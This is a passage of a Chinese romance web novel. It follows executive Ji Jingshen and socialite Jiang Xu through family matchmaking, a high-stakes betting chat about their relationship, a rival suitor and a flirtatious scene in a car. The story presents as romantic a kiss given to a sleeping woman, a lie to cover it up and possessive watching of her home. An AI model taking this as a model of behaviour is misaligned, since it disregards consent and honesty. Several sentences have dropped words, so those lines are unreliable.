而温家和季家的关系向来交好,两家之间的合作也算是密切,季惊深也不好直接下了对方的面子。礼貌地见了一番,公事公办地从那位温家小姐的专业和能力来分析,给她安排了一个职位。只不过,并不在逸安总部,而是在名下的一个子公司。 季安棠默默地安排好剩下的事,等礼数做足地把温家小姐送走之后,她才敲门进去。季惊深正看着手机,整个人都显得沉稳而疏离。 同一辈中,她和季惊深的相处时间最久,也最为崇拜他。季安棠有自己的野心,想要向家族的人证明,女人也可以掌权,做出一番事业。可她没想过独管逸安,没想过和季惊深争抢任何东西。 她敬佩的长兄,应该拥有这个世界上所有最好的。 关上门,季安棠神色不解:“大哥,温家千金性子温良贤惠,长相也在上上乘,你到底是觉得她哪点不好?” “温小姐没有什么不好。”季惊深眼眸半垂着,一张平静的面容没太大的情绪。 老爷子的眼光一直很好,那位温小姐温婉大方,一举一动之间,都彰显着世家的优雅。样貌也不错,虽算不上十分惊艳,却也温柔端庄。 季安棠自然是听出了这话里其他的意思。温小姐再好,不是他所喜欢的人,哪怕是优秀到顶天去,也没用。 所以季安棠才更加不明白:“大哥,你到底喜欢姜许什么地方?除了好看,我想不到其他理由。她自恋,又毒舌,还那么嚣张,性格上一点优点都没有,和你完全不搭。” 季惊深穿上外套,起身,不紧不慢地看了一眼自己的妹妹:“可你说的那些,我认为,都是她的优点。”- 周末的中午,路上的车子比平常的早晚高峰少了不少。 季惊深回到家时,姜许才刚刚起床。 餐桌上摆着楼下佣人准备的午餐,她换上了今早他让人送来的长裙。长袖的丝绒裙,正好可以把脚踝处全部包裹住。胸口不高不低,恰好把她精致的锁骨暴露在外。头发随意地垂在两旁,平添了几分妩媚。 “啊,时间正好。”姜许回头看着他,初醒的嗓音慵懒好听:“季惊深,你过来陪我吃个午饭。” 季惊深想到了自己还未回答季安棠的那个问题。 喜欢上一只娇矜又慵懒的猫需要什么理由? 它光是站在那里,望向你,就足够了。 而姜许于他而言,就是这样的存在。 “你吃过了?”姜许有些不确定了,她醒得太晚,等看到季惊深的消息时,他已经在回来的路上了。 外套脱下,板正地将胸前的领带解了下来,递给一旁候着的佣人:“我让她们准备,就随便让他们做了些。” 五菜两汤,还有两菜系,所用的食材怕都是今早空运过来,再掐着她睡醒的点做好, 姜许眼神勾挑了几分,在季惊深落座于她身侧之后,漫房间了?” 房间里太闷了,窗户开着又让她有几分不安全感,所以便开了空调。醒来后,空调早就关上了。她当然没有半夜梦游的习惯,所以就只有可能有人夜潜了。 “嗯。”季惊深声音依旧平静冷淡,听不出半分端倪:“担心你睡不惯,本想去看看,察觉到屋子里温度太低,就把空调关了。这个天气,还不算太热,吹感冒了会很遭罪。” “只是关空调?”姜许眼神存疑。 她昨晚好像做了个很奇怪的梦,梦里的季惊深并不正经。更恰当一点的形容,应该是假正经。一副高冷不可攀的模样,实则眼神直勾勾地落在她的身上。甚至,梦里还主动吻了她。 触感有些太过真切,姜许不免怀疑,是真的梦,还是那位压根就不是君子的男人趁机对她行了不君子的事。 “那姜小姐觉得我还做了什么?”季惊深不紧不慢地把问题再次抛了回来。 姜许轻轻蹙眉,颇有几分不甘心:“所以,那么一个大明艳美人睡在那,毫无防备的。咱们的季总,就只关了个空调?”她叹气,一半认真一半怅然:“我对你就没有吸引力?” 怎么可能。 他向来对情爱的事情,不甚感兴趣。甚至是最年轻气盛的那几年,反应最大时,他也能生生忍下,从来不做那种亵渎之事。独独在昨晚,只是轻飘飘的一个吻,就足够让他破戒。 不是没有吸引力,而是太有吸引力了。 所以季惊深太明白,但凡昨晚再继续下去,他之前信誓旦旦说的原则、坚持,将会烟消云散。 “姜许,我不趁人之危。” 假的。已经趁人之危过了,虽然只是一个吻,但,也是实打实的做了。 他撒谎了。 “所以,你不否认我对你有吸引力?”姜许只听自己想听的,心情重新好了起来,她一只手拖着腮帮子,笑意吟吟地看着面前的季惊深。 “是。” 姜许愉悦地轻笑出声,想到了季惊深喝醉酒的那个夜晚,她郑重其事:“那我要事先说明一下。我会趁人之危,季惊深,你要注意点,别给我这个机会。” “这样啊。” 那他,会找个机会的,让姜许趁人之危- 午餐过后,姜许回了家。 季惊扬也总算是醒了,原本还想赖着,在自家长兄的眼神警告下,只能悻悻地摸了摸鼻子,乖乖地跟着离开。 客厅已经派人打扫过了,浓重的酒味散得干干净净,只剩下空气中的淡淡柠檬香。姜许今天不用去星好,但是也没闲着,联络着品牌方后面的档期,安排着后续去度假山庄的事。 俞晓染的电话在这个时候打来。 “我快疯了,为什么这个苏见安这么能聊!”她在那头骂骂咧咧的:“他不是说好的,就是见个面就没有下文了吗,怎么现在每天从八点开始问候我早安。怎么的,最近没有实验还是工作不忙了,烦死我了都!” 姜许一边听着一边翻看着最新的几期杂志,随口回她:“你要是对他一点想法都没有,直接说清楚就好了。” “那,那你帮我说?你不是加了他的微信吗,我这边说的话,多不好。” 姜许都被气笑了:“这事还需要找人代劳?磨磨唧唧的,我有点看不起你。” “谁,谁墨迹了!”俞晓染骤然拔高了声音:“等会我就去说,我不想谈恋爱,我要搞事业搞男人!” 她气哼哼的,又问:“你能不能快点把季惊深拿下?” 姜许倒是想。 “革命路漫漫,俞晓染同志,你这是皇上不急太监急。” “我不管,反正你努力。”俞晓染咬牙,她总不能说圈子里这会都有了他们的赌局吧。她可是下了重注,三个月内必拿下。 有猫腻,不对劲。俞晓染这妮子平时是八卦了些,可也没到这种程度。 “坦白从宽,抗拒从严。” “……” 季惊深领着季惊扬刚回到老宅,手机便收到了姜许的消息,是一张群聊天记录。 他们在下赌注。 赌他和姜许之间能不能成。 一个是季家克己复礼的长子,自小备受器重,回国便手握逸安大权,不到半年时间,接连拿下好几个大项目,稳坐高位。 一个是民江的孤女,大伯不疼伯母不爱的,仗着堂哥耀武扬威。没能力继承民江,不务正业半混迹在娱乐圈里。 赌他们不能成的占了大半。 姜许的语音跟着进来。 “目前看,我要是下注,赔率至少翻五倍。对了,还有压小关的,三个月,半年。季惊深,你说我下哪一个比较好?” 很聪明。用这种方式试探。 可季惊深哪里会这么简单的上当。 一旦回答了,不就是在明晃晃地告诉姜许,他最后是一定会和她在一起的。不然这钱损失了事小,隐晦的承诺没做到可是事大。 而一份已经知道答案的考卷,他不认为像是姜许这样偷懒的考生,还会为之努力。 【金额太大,牵扯太广。姜许,这种赌局,你不要参与。】 那头显示正在说话,几秒后,略显娇嗔又不满的声音从手机那头传来:“季惊深,你怎么油盐不进?” 【什么?】 “少装,我不信你听不懂。” 他是听懂了,可商场让他学到的,适当地装糊涂,有时候很有用。 他垂眉,看了一眼围在一起看着手机小声讨论的堂弟堂妹,往院子处走了走,按下语音键,温和而又认真地回了句: “姜小姐,是你说要认真追求,所以,别妄想偷懒。” 那头没有很快回复,季惊深等了两分钟,在收到一个不开心的猫咪表情包后,重新回到大厅之中。 “你还真敢下注?万一大哥知道你不得玩完?”季惊扬看着季安喻砸了五百万进去,不由得讶然。 “这钱为什么不赚?别以为我看不出来,大哥绝对对那个姜许……” “赚什么钱?” 一道声音横插进来,吓得季安喻的手机都快握不住。她颤颤巍巍地抬起头,对上自家大哥那双淡漠到没有半点情绪的黑眸,磕绊撒着谎:“没,没什么。” “手机给我。”季惊深朝她伸出手。他很尊重堂弟堂妹的隐私,这样的事,在此之前从没有发生过。 可也如同他说的那样,好赌终究是不好的,尤其是有这种想要赚快钱的方法。季安喻还小,有些思想,必须要尽早纠正。 “大哥,我……”季安喻不情不愿,可碍于季惊深的威压之下,还是把手机抵了过去。 点开,锁屏是一个季惊深不认识的男人,赤裸着上半身,做出极其具有性.勾引的动作。 他微微蹙眉:“安喻,解锁。” 季安喻乖乖照做。 打开便是一个群聊,人数还不少,五十多个人在群聊之中。而季安喻还很聪明的选择了没有备注自己的名字,直接选择押注五百万。 他轻轻往上划,聊天内容大片大片的出现,不看好他和姜许的人在大放厥词。 “也就是姜许一厢情愿罢了,看到个好看的就想贴上去。实不相瞒,当初我和姜许吃过饭,席上她看我眼神就不对,估计也是惦记过我的美色的。” “你少吹吧。不过我说实话,这对能成,明园我包下来一个月,当随礼!” 明园所用的规格已经是北安顶级,每天接待的客人不多,但一天流水上千万已经是最基本的。要是包下一个月,这位宁家小少爷,怕是得破产。 “包明园算什么?我赌我车库里所有的车,我这话放在这里,她姜许但凡有这个能耐,她随便挑!” 诸如此类。 姜许在圈子里得罪的公子哥可不少,早年民江在她毕业那两年遭遇一次重大危机,姜广安带着姜许出席各种场合,见了不少世家的公子哥,大有一种将她卖了换钱的打算。 可姜许性子哪能是吃亏的主,那这个公子哥见她年纪小,模样也长得不错,好几次上下其手都被打了回来。丝毫没惯着,半点面子不给。 后来姜祁州东山再起,这些个连贼心都没了,却一直小肚鸡肠的记着过往的仇。 “你们还别说,姜许这样的,就算是跟外头的男人玩烂了,我也想试试。那身材,那身段,可不差。” 季惊深手指微微泛紧,扫了一眼那人的名字。 冯家的。 他记性向来好,成家的,顾家的,都有份。 “大,大哥……”季安喻怯生生的,想要拿回自己的手机又不敢伸手。 “下了五百万?”季惊深看她一眼:“安喻,要么你想办法要回来,要么把名义改成做慈善。你年轻还小,以后关于赌这方面的事,能不沾就不沾。缺钱了就和我说,只要你不犯法,我不至于连个妹妹都养不起。” “好……谢谢大哥。”季安喻立马被哄好了。 虽然大哥平时看起来凶凶的,但钱的方面,真的超级大方! 手机拿到,季安喻美滋滋地想要问点八卦,又听到季惊深神色复杂地看着她:“安喻,你已经成年,在性生活方面,大哥不会干预你。只是你要记住一点,不管怎么样,不要未婚先孕,保护好自己。” 季安喻:“??” 她猛地低头看了眼手机屏保,脸色涨红:“不是,那个,大哥,我这是大冒险输了!我没有,我真没有!” 季惊深微微颔首,又道:“不用那么紧张,这是很正常的一件事。” “……” 她真没有……虽然,无数次想尝试过,但她才刚刚成年没多久! 大哥在国外那么多年,思想方面,果然……开放得惊人。 怏怏地舔着脸把钱给要了回来,季安棠扫了一眼幸灾乐祸的季惊扬,气道:“你还笑?看到没,圈子里有多少人不看好大哥和姜许,到时候你心心念念的姜许姐被爷爷给赶出去,我看你怎么笑得出来!” 季惊扬的确笑不出来了,他开始犯难:“爷爷要是和姜许姐打起来,你拉着爷爷,我拉着姜许姐。” 季安喻:“……那个姜许到底给你们灌了什么迷魂汤!” 不!就!是!好!看!了!一!点!点! 性子率真了那么一点点,又加上笑起来明媚了那么一点点吗? 她一点都不喜欢! — 傍晚,姜许回了一趟宁水别墅区。 这算是北安最便宜的一个别墅区了,位置几乎靠在了郊区,往后不远就是公墓。 她顺手从家里拿了点茶叶当做礼物,要不是这次来是有事要问姜广安,她才懒得做这表面功夫。 进去的时候,里面正在吵架,姜延河已经和姜广安争得面红耳赤,姜许进去的时候,只听到一句: “说到底你就是没有姜广随有能耐,只会读你的破书看你的破字画。但凡你有点能耐,民江至于成现在这个样子吗?!” “啪!” 一个清澈响亮的巴掌。 姜许也不急进去了,靠在门口的位置,好笑地看着这一幕父子相残。 姜广安在那个年代算是高材生,本科毕业后进厂,工资也算不错。她爸没什么文凭,只能靠着摸爬滚打上来,老实,但是是个大老粗。 所以初来北安的那些年,她还被人嘲笑过是暴发户,和这些生来就是少爷千金的格格不入。 说起来,他们家倒也没有什么争权夺势一说。姜广安虽然眼馋她爸生意有成,但在她爸还活着的时候,也就是本本分分做个经理。后来她爸去世,她还没成年,这姜广安才接管民江。 这些年的发展,一年不如一年。她今天匆匆过来,也是因为听到了消息。民江的产品,偷工减料,有人因此住院,直接举报到了上头。 姜许当年没争,一是因为她在经商方面确实没天赋,二是她的志向不在此。姜广安也信誓旦旦地保证过,哪怕是破产,这民江,该有的质量,和承诺,一个都不会少给顾客。 可现在,出了这档子事。 眼看里面吵得差不多了,姜许才敲了敲敞开的大门:“大伯。” 姜广安朝门口看去,平复好心情,赶忙迎上去:“小许回来了啊,才两个月不见怎么又瘦了?和季家那位的进展怎么样了,我一瞧就觉得你们般配得很,以后绝对是百年好合。” 旁边传来一声嗤笑,姜延河不屑地看着自己的爸一副狗腿的样子:“还进展呢?真当人家季惊深没见过女人?就她这样的,十里外都能闻到香水味的庸脂俗粉,看得上才怪。” 姜许扫他一眼:“难得你在家。哦,我忘了,你在公司刚闹出事,那方面又不行了,这不在家还能去哪。” “姜许,你!” “行了,姜延河你给我滚出去!”姜广安发了话。 大厅里总算是安静下来,姜许直接开门见山:“网上关于民江的事,大伯能给我个解释吗?” “那都是传言,哪能信啊。估计是穷疯了想要讹钱,小许你就别操心这事了,公司有我在,我会处理好的。”姜广安不动声色地把话题带了过去,又苦口婆心地劝道:“小许你可别听外面说的,大伯就觉得你和季家那位合适得很。只是,人家家世是比我们民江高了不少,不过没关系,祁州的锐安近几年发展不错,你靠着这层关系,倒也能配得上。” 姜许面无表情地听着,等他念叨结束,她很快起身。 “小许吃个饭再走吧。”姜广安提出挽留。 “不了。”姜许说:“大伯,您答应过我的,民江宁可破产,也不做对不起消费者的事。您应该没忘吧?” “没,没忘。” “那就好。” 次日,姜许在下午去了中心商城。前几天订的手表刚好到货,她也顺便去逛逛。 让导购员把东西拿出来,姜许看了眼,拍照给季惊深发了过去。 季惊深此时正在苏家老宅,下着上次没有专心的棋局。手机振动,熟悉的红色头像弹了出来,他落下一子,拿起手机。 是一只手表的照片。 银边的设计,表盘是深蓝色的,低调之中又透着几分贵气。 【能入得了季总的眼吗?】 季惊深回复:【眼光很不错。】 【花了很多钱。】 季惊深从善而流:【我给你报销。】 “咳咳咳!”苏老爷子不满意地咳嗽了一声。 季惊深不得已把目光从手机中移开。他最近忙,不常过来,这棋局拖到现在,才下了一半,他却又走神了。 再次执起一子,刚刚暗下去的手机因弹出新消息而再次亮了起来。 【不要报销。】 【要你,允许我趁人之危一次。】 第29章 第29章【VIP】 明晃晃的撩拨。 季惊深的眸子都不自觉地暗了几分。 明明旁边还坐着苏老太太和苏观明,而苏老爷子此刻也在他的面前,正专注地等着他的下一步棋,可他的思绪却无耻地飘忽到了那天的夜晚。 半露的肩膀,锁骨处缠绕着黑发,呼吸温浅而平缓。却在他的贪念之间,被迫交缠了一瞬。 姜许想趁人之危,而他,想要的不只是趁人之危。 而是光明正大的,将她全部占据。 “还没想好怎么下?”苏老爷子瞧着自己的外孙,不由得得意地哼了一声:“在国外这些年,可是退步了不少。” “是不如您老。”季惊深含笑回应着,思索两秒,在一处落下了子。 苏老爷子瞬间皱眉,瞪眼看着他处于劣势的棋盘。这次季惊深没再分心,步步紧逼,直到最后快要成胜局之势时,苏老爷子慢悠悠地开口:“刚才给你发消息的是姜家丫头?” “是。”季惊深又落下一子。 苏老爷子慢悠悠地喝了一口茶,盯着棋局思索了良久,又道:“惊深,你是男人,这可不能让女孩子主动太久。还有啊,那姜家丫头招人喜欢得紧,北安青年才俊不少,回头要是别人抢了先,你可别后悔。” 想要抢人的是不少*。 先前的陈越然按下不提,LS那位,也是深得姜许的心。至于其他的,看中锐安的权势,想要喊上姜祁州一声大舅哥的世家少爷也不少。 苏老爷子偷偷摸摸地又下了一子,还一本正经地继续念叨:“你不常和女孩子相处,也不会讨姑娘欢心。要我看,这方面你还真得和方厌学习学习。” “外公不用费心,我有分寸。”季惊深手指轻点在那一子上,目光温浅:“好不容易有时间陪您认认真真地下一盘棋,您老可别耍赖。” 苏老爷子轻咳一声,有些尴尬地收回那子,轻叹一声:“不下了,这局我败了。改天,你得陪我再来一局。” “都听外公的。” 苏老爷子又瞧了一眼自己的外孙,目光复杂:“认定了?” “嗯,认定了。” 除姜许之外,他不考虑任何人。 “也好。”苏老爷子舒心地笑了笑。他这外孙在季家过得压抑,一板一眼的,那姜家丫头活泼跳脱,配他,正正好。 季惊深简单吃了个饭便要离开,晚上还有个合作要谈,是和西宁边野的。地方是赵颜颜订的,是在小满楼。这块饼有些大,除了逸安之外,特越那边也想分一口。他并不介意,毕竟他从来不认为,一家独大是什么好事。 送他出来的是苏观明,清江别墅虽然偏僻,地方却不小。他刚陪苏老爷子用过饭,走到门口约莫二十多分钟,也算是稍稍消化一番。 “这次回来,你好像变了很多。”苏观明缓缓开口:“当年一事,我还以为,你这辈子都会对感情的事敬而远之。” 苏老爷子早年留过学,是那个年代的高知识分子,后又娶了高门闺秀的苏老太太。老爷子性子温和有礼,自幼对他们三个言传身教,奉行的是以善待人。 懵懂不知事的那些年,他和见安也算是善字头上一把刀,见证过不少人性本恶。相反之下,季惊深比他们冷静得多,他从来不会给自己找麻烦。可也就是这样一个冷静自制的他,在十八岁那年,被反咬一口,泼上猥亵高中女生的脏水。 “事情过去了就是过去了,人总得往前看。”季惊深神色平静,又缓缓道:“总不能因为过去,而在遇到心仪的女生之后,畏缩不前。” “你少点我。”苏观明忍不住无奈一笑:“我可是差点成为跟你抢那位姜小姐的情敌。” 季惊深脚步顿住,黑眸定定地看着苏观明。 “姜小姐长相好,性格不错,我起了些许心思,应该是正常的吧?” 苏观明并不觉得这是一件很难以理解的事。姜许那天穿得温婉大气,模样也不错。男人总是视觉动物,对姜许这样的,起了些许的心思,实在是正常不过。不过,也只是一点点升起的念头罢了。 在听到那位姜小姐说有心仪之人之后,他便没有任何想法。而在前往游乐园的过程中,见安随口提起的一句,有关于季惊深的过往小事时,那位姜小姐听得津津有味,他也就彻彻底底明白了。 “怎么,你还想笑看着季惊深微凉的眸子,他还是第一次看到他这样的神情。 “那倒不至于。”季惊深收回视线,继续适合结婚的女生,北,外公不会同意。” 苏家的孩子,在情感之事上混账,。 “那是自然。”苏观明点头,已经是走到了别墅门口,来接季惊深的车已经等了许久。他目送着季惊深上车,突然问了一个问题: “惊深,你后悔当 “帮了便不后悔。” 当年那个自卑又怯懦的赵颜颜,已经变成了可以独当一面的边野负责人。她如她所愿的改变自己的命运,并且,做得比他想象的还好。 季惊深打开车门,望着斜长的影子,声音冷寂:“但,不会再有下一次。” 苏观明失笑:“明白了。” 他啊,就是太纠结于得失- 姜许等了好几分钟,都没能等到季惊深的回话。 有些无趣地准备付款之时,一道熟悉的女声在耳边落下:“你好,这手表能让给我吗?” 姜许懒懒地抬眼,对上赵颜颜那张略有些惊讶的脸:“是你呀。”她笑得友好温柔,语气也礼貌到了极致:“是这样的,我想给一个朋友挑礼物,转了很久都没有找到合适的。你手上这款正好适合,要是方便的话,我可以出两倍的价格。” 一个朋友。姜许都不用猜就知道是季惊深。 其他的不说,赵颜颜至少眼光好。 商场里的那些现货,可谓是俗不可耐,配不上那样的季惊深。不然她也不至于提前预定,今天才过来拿。 “抱歉,不方便,我这也是送朋友的。” 还是,同一个朋友。 “这样啊。”赵颜颜有些失望地点了点头,又笑道:“你是季惊深的朋友吗?那天我好像看见你跟你的男朋友……” 姜许出声打断:“他是季惊扬,季惊深的弟弟,我和他不是情侣关系。并且,我喜欢的是季惊深。” 赵颜颜有些惊讶,没想到她能那么坦诚:“我叫赵颜颜。” “姜许。” 赵颜颜眼里划过一丝了然,显然是听过这个名字:“原来是姜小姐。” 姜许敷衍地回敬了一声“赵小姐”,脸上已经带上了两分疏离的神情。 她佩服赵颜颜归佩服,也不得不承认她的外表和气质是她喜欢的那一类。可碍于“情敌”和过往她对季惊深做的事来看,讨厌虽然不至于,但也绝对不会是喜欢就是了。 “还有事,就先走了。”姜许结账,拿上礼盒准备走人,却又听到赵颜颜轻轻地道:“我会追求季惊深。” “我和他错过很多年了,我不知道姜小姐和他到哪一步了,但我并不认为,我会输给你。” “……” 开得正好的玫瑰花被姜许胡乱地掰扯着,花瓣一片片地被拽了下来。 江小满看得无语,默默地拿着自己的牛角包离得远了些:“你让我出来,就是看你辣手摧花的?” 姜许气鼓鼓地看她一眼,又回想到季惊深隔了半个小时才给自己回的消息。 【恐怕,不太方便。】 不方便什么? 她只是想占个便宜,又不是想要天上的星星。 【那礼物呢,今晚?】 这次季惊深倒是回得很快:【今晚有个合作要谈,结束了会太晚。】 合作。姜许莫名地联想到了赵颜颜,她在自己离开之后也并没有走,依旧在商场转悠。 【今晚,有赵颜颜吗?】 这话一发过去,姜许便觉得有些越线,刚想要撤回时,季惊深的回复已经发了过来。 【有。但不只是她,俞明礼也会来。】 【所以不用担心,姜许,我不做脚踏两条船的事。】 “……” 不担心,不担心可能吗? “也是。”江小满煞有其事地分析一句:“不管怎么说,这可是季惊深第一次心软的女生,他是不承认喜欢过啊,但谁知道呢是吧。而且赵颜颜现在事业有成,还是个性感成熟的御姐,男人喜欢上,也很正常。” 姜许掐了一把江小满:“你站哪边?” “肯定是我们姜宝这边啦。”江小满笑嘻嘻地凑了过来,戳了戳姜许的脸:“你要是真在意,今晚过去逮人呗。” 姜许拒绝:“季惊深谈合作是正事,真当我十七八岁,吃个醋就不管不顾?” “那你就去接他,他们合作谈得再晚能有你睡觉晚吗?合作结束后,朋友一起去吃个夜宵,散散步,送个礼,没问题吧?” 姜许斟酌了两秒,终究是给俞晓染发去了消息:【帮我问一下你哥今晚在哪应酬,别说是我问的!】 俞晓染先是发了无数个感慨号,才进入正题:【你要做我嫂子了?哇靠,你看上我哥哪点了?】 【……季惊深今晚和他在应酬。】 俞晓染:【哦。哦。哦。为了男人利用我。】 呵呵。姜许都不想说她,为了找男模,那她当过多少次挡箭牌。论重色轻友这一方面,谁比得上俞晓染。 俞晓染:【帮你问可以,下个月到我生日了姜宝宝,你给包了LS,点二十个男人为我热舞!】 姜许:“……” 这妮子怎么不去抢银行,一个消息能值这么多钱吗? 无语的应下,三分钟后,姜许得到了自己想要的消息。合上手机,姜许看向江小满。 江小满立马识趣地道:“我先回家了,不妨碍你……” “急什么,难得一聚,逛会街。”姜许拉着江小满起身,又把她上下打量了一眼,有几分无奈:“都说了你少穿这种老气横秋的衣服,等会我来挑我来付钱,你敢说一个不字我就揍你。” “我现在都升主管了,穿得太年轻没气势。” 姜许:“我也没让你蓬蓬公主裙套身上。算了,你负责试衣服就好。” “……我都二十六了,你还把我当洋娃娃养呢?” “你六十六我也这么养。” “好霸道,我好喜欢你哦姜宝!” “那真是抱歉了,我喜欢男人。” “谢邀,我也是。”- 小满楼里的雅间这会热闹得很。原本只是逸安和边野的合作,特越算是半路掺和进来的。只是到了地方,又遇到了圈子里的几位世家少爷,便一起坐下了。 人多的地方,这喝酒就免不了。季惊深本不想被灌得太醉,可逸安本就在北安独占一头,暗里树敌不少。他要是显得太过于清高,往后少不了有些麻烦。 “好了好了,今天到这里差不多了,再喝下去,我得抱着柱子吐了。”俞明礼笑着出来打圆场,余光扫了一眼看上去面色平静的季惊深,赶紧道:“我去结账,谁都别跟我抢。” “我来吧。”季惊深忽而开了口,缓慢地起身:“抱歉,我酒量一般,今日得回去了。改日各位若是有空,我再做东。” “好说好说,季总酒量不错了,都怪我们,这不喝上头了。” “是啊是啊,季总身体本来就不好,这可别……” 后面的话被身边的人给掐了回去。 季惊深面上没什么表情,像是没听到一般,礼貌地点了点头:“时间还早,各位可以随意。” 他朝门口走去,俞明礼赶忙跟上:“季总,还走得动吗,要不我扶你……” “我来吧。”赵颜颜也很快地起身。 她是个女生,又是边野那边的负责人,这边野的总部虽然不在北安,但是也是富甲一方,倒也没被灌上多少酒。 “那不行,赵小姐是女生,这多不方便!”俞明礼一个激灵,那点酒意都快散没了。 本来他们特越是想来分一杯羹的,结果到地方了他才发觉这赵颜颜的名字有点熟悉。酒喝了几杯,记忆突然冲上头了。他和季惊深本来就是一个学校的,赵颜颜这名字在当年,可是在学校里传开了,只不过因为时间太长,给忘记了而已。 回想当年赵颜颜做的事,俞明礼这会哪还敢让她扶着季惊深。回头真出了什么事,他怎么向姜家妹妹交代。 “没关系,我没怎么喝酒。”赵颜颜笑了笑:“季总,我车上准备了醒酒的药和热汤,你吃了会好受一点。” “不用。”季惊深语气是一派的疏离:“我还没醉到连路都走不动的程度。” 话到此,赵颜颜不好再说。俞明礼忍不住看她一眼:“赵小姐,恕我多言,你没什么机会。” 以前可能有,现在是一点都不会有。 赵颜颜眼神有一瞬间的落寞,又很快道:“没关系的,时间可以改变一切。” 俞明礼欲言又止,想了想还是委婉地提醒一句:“赵小姐,季总性子温和,待人礼貌,可这不代表,有些事就有可能。” 况且,姜家妹妹虎视眈眈呢。那位,他可是见识过她的脾气的。 真要和她抢人,估计对方的肉都能咬下来一块- 包厢里并没有散场,季惊深也只是挂了个账。 从小满楼出来时,外面应该是下过了一场细密的雨。地面有些微湿,树影交错,几声蝉鸣声此起彼伏。 季惊深轻吐了一口气,今晚他其实并未喝多少。俞明礼替他挡了不少的酒,除了最开始那一轮的敬酒,之后的,他能避则避。 和边野的合作是个长战线,今晚只是和赵颜颜简单地聊了一些。包厢里的话题杂七杂八的,混杂着不少八卦和笑谈。季惊深并不了解多少,插不上什么话,思绪自然而然地分了出来。 他是打算细水长流慢慢来的,可时间一长,难免会有变故,可又不能太过于急功近利,让她失去了新鲜感。 “适当的甜头肯定是要给的。”他想起了俞明礼说的:“这做生意和钓鱼是一样的,哪能一次就钓完。时不时的给点甜头,来日方长嘛。” 甜头,他会给姜许。毕竟,忍不住的人,不只是她。 “季惊深。” 绵长熟悉的声音就在不远处。 季惊深顺声看过去时,一时间竟然有些恍惚,分不清他是微醺上头的错觉还是真切现实。 “喝酒了?” 声音逐渐来到跟前,伴随着姜许踮起脚尖,温热的呼吸在他面上卷了一瞬,季惊深才真实确认她的存在。 “应酬需要,没办法。”季惊深只觉得雨后的夜晚太过燥热,他解了解袖口处的扣子,低声问她:“怎么过来了,太晚了姜许,你一个人终究是不安全。” “北安最近几年的治安很好,不用担心。”姜许眉眼上挑着,将他的领口和脖子处都仔细地查看了一遍,确定没有任何痕迹,这才道:“喝得多吗?头疼不疼?我还以为今晚你们不会怎么喝酒,现在我去给你买醒酒汤?” 季惊深摇头,司机已经替他们打开了门。姜许很是自然地跟他上了车,这才看到前头备好的醒酒汤。 姜许顺手拿了过来,转头便看到季惊深的视线落在她腿上的礼物盒上。 “下午说的,礼物?” “嗯。”姜许瞧着他微红的耳根,逗弄的心思又起来了:“其实我还帮你买了好多,不知道你的尺寸没乱买,就买了几套日常衣服。季惊深,我衣品不错的。” 他知道。 姜许和那些时尚品牌方都有合作,时常能拿下不少高定。这也是为什么她在圈子里如此受欢迎的缘故。 男人眼神专注地看着她,也不知道听没听进去。姜许一点点循循善诱:“其实我还想帮你买西装什么的,可是这些需要定制。季惊深,你方不方便,把你的尺寸给我?” 季惊深没有回答她,只是将前头的挡板升了起来。 “不太记得了。”男人的黑眸之中覆上了一层朦胧之意,他微垂着眉眼,半昏暗的环境中,季惊深微微前倾了一些,略显攻击力:“不过你可以,自己来量。” 嗯? 姜许微顿,眼睛弯弯,嘴角都带着几分散漫而又慵懒的笑。 她抬起手,手指顺着季惊深的手臂,一点点地爬上他的肩膀处。靠近脖颈处时,她故意挑起食指,轻轻地拨弄了两下男人的喉结:“季惊深,你知道自己在说什么吗?” “知道。” 喉结上下滚动着,性感而又暧昧。 “姜许,你要趁人之危吗?”季惊深主动地靠了过去,带着很浅的酒意,夹杂着他身上淡淡的浅桂味道。 “现在的我,不清醒。所以,不会反抗。” 第30章 第30章【VIP】 姜许确定,季惊深是真的醉了。不然那样一个,连含蓄的吻都不允许的男人,怎么会说出这样一番话来。 戳在喉结上的手指微微缩了缩,姜许的视线流连在男人穿得一丝不苟的西装上。太过正经板直,反倒越是这样,就越让她生出几分想要撕开男人伪装的想法。 “季惊深,我真的要趁人之危了,你现在拒绝,还来得及。”姜许的手指已经来到了季惊深的领带处。 男人没有回答,黑眸无声地看着她,像是在默许。 送上门的便宜没有不占的道理。 姜许眼角勾起几分耐人寻味的深意,垂眉解着他的领带,离得太近,些许酒味漫了下来。她其实并不喜欢这样的味道,只是在季惊深身上,却有几分醉人的微醺感并不会令她讨厌。 领带很轻易地被拽了下来。 手指搭上最上面的扣子时,男人幽幽的声音落了过来:“姜许,你很熟练。” “算是吧。”姜许含糊着。 她的确熟练,两颗扣子解开时,一小片精瘦的白皙皮肤暴露在视线之中。看得出来是常年健身,肌肉线条分明,因为喝酒的缘故,隐隐染上了几抹绯红,一点点地蔓延至那一点微微凸起处。 姜许忍不住脸颊微微发烫,却依旧认真专注地将手搭了上去:“我先用手初步丈量一下。回头有条件的话,我们再用软尺量一次。” “为什么熟练?”季惊深呼吸有些不稳,他想他是没有喝醉的,可这会被这样挑逗,理智早就跟着酒精下肚一起消失得干干净净了。 “什么?” 姜许没跟上他的思路。 男人的身材实在是太符合她的喜好。不是那种特别健硕的厚重肌肉,而是恰到好处的薄肌,肤如白玉,干净无暇得让她忍不住手指微微用力。 做了猫眼的指甲故意在,旁轻轻地划过,如愿地留下一道很浅的指甲痕迹后,姜许满意了,兴致十足地看着自己的杰作。 温热,坚硬。 手感极好。 也足够赏心悦目。 就是不知道—— 姜许正玩得开心,抬头就看到季惊深灼热的目光。价格不菲的西装早就被她解开了,衣领敞开着,任由她的手胡作非为。而那个一直稳坐高位,永远板正清冷的男人,此时早就没了以往的沉肃。 唯独一双黑眸,依旧带着上位者的冷沉。他缓慢地开口,声音哑了几分:“解领带很熟练,解扣子也很熟练。姜许,你和别人,也这么做过是吗?” 其实这样的问题早就有答案。他在姜许之前,没接触过什么女生,亲吻,拥抱,甚至牵手都是头一遭。可是姜许却不一样,除开她正经谈过的那三任之外,在北安逢场做戏的……他并不知道具体到了哪一步,或许只是像最开始在陈家公子面前那样对待他。 挽着他的手,娇声喊着他宝贝,又或者,还有更过分的事…… 他的呼吸重了两分,比墨色更深的黑眸压抑着疯涨的占有欲。 他知道这样追问姜许的过往不好,是人都有过往,况且姜许在遇见他之前,有自己的选择权,他不能要求什么。 这些,都是他早就想明白的。 可是此刻,她无意识的,熟练解开他衣服的动作,让他从一开始就极力压制的占有欲,开始疯狂地滋生起来。他说过的,他不是什么君子,甚至不是什么好人。否则那天的雨夜,他不会派人守在姜许的家门口。 